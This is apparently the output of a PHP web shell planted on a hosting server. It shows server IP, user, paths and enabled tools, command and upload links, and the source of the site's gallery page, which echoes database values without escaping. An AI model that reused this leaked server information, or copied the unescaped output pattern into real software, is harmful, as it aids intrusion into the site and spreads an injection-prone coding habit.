Server IP : 103.53.40.154 / Your IP : 3.147.65.111 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/agkeymaker.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<style> /* Basic styles for tabs */ .tabs { white-space: nowrap; /* Prevent tabs from wrapping */ max-width: 100%; /* Ensure tabs do not exceed their container */ padding-bottom: 10px; /* Optional: add padding if needed */ } /* Add horizontal scrolling on mobile view */ @media (max-width: 768px) { .tabs { overflow-x: auto; /* Enable horizontal scrolling */ -webkit-overflow-scrolling: touch; /* Smooth scrolling on iOS */ } .gallery-filter { overflow-x: auto; /* Ensure the entire container can scroll */ white-space: nowrap; /* Prevent wrapping of elements */ } .gallery-filter ul { display: inline-flex; /* Ensure the list items are in a row */ } .gallery-filter ul li { flex: 0 0 auto; /* Prevent the list items from shrinking or growing */ } } </style> <section class="portfolio-style-two sec-pad"> <div class="container"> <div class="sec-title text-center"> <h3>Our<span>Gallery</span></h3> <!--<p>You will find yourself working in a true partnership that results in an incredible <br /> experience, and an end product that is the best. </p>--> </div> <div class="row masonary-layout filter-layout" data-filter-class="filter"> <?php $sqlimgs = "SELECT * FROM `tbl_gallery`"; $runimgs = mysqli_query($db,$sqlimgs) or die("Query Not run"); while($dataimgs = mysqli_fetch_assoc($runimgs)){ ?> <div class="col-md-3 col-sm-6 col-xs-12 masonary-item single-filter-item ser<?php echo $dataimgs['for_use']?> "> <div class="single-portfolio-style-two"> <div class="img-box"> <img src="<?php echo $wspath?>admin/images/gallery/<?php echo $dataimgs['image']?>" style="height:250px" alt="<?php echo $site_name?>" title="<?php echo $site_name?>"/> <div class="overlay"> <div class="box"> <div class="content"> <!--<span>Melbourne, AU</span>--> <h3 href="<?php echo $wspath?>admin/images/gallery/<?php echo $dataimgs['image']?>" class="img-popup"><?php echo $dataimgs['title']?></h3> <a href="<?php echo $wspath?>admin/images/gallery/<?php echo $dataimgs['image']?>" class="img-popup industrio-icon-next"></a> </div> </div> </div> </div> </div> </div> <?php } ?> </div> </div><!-- /.container --> </section><!-- /.project-style-one --> <script> $(document).ready(function(){ if ($(window).width() < 768) { $('.post-filter').slick({ slidesToShow: 3, slidesToScroll: 1, arrows: true, dots: false, infinite: false, responsive: [ { breakpoint: 480, settings: { slidesToShow: 2, slidesToScroll: 1 } } ] }); } }); </script>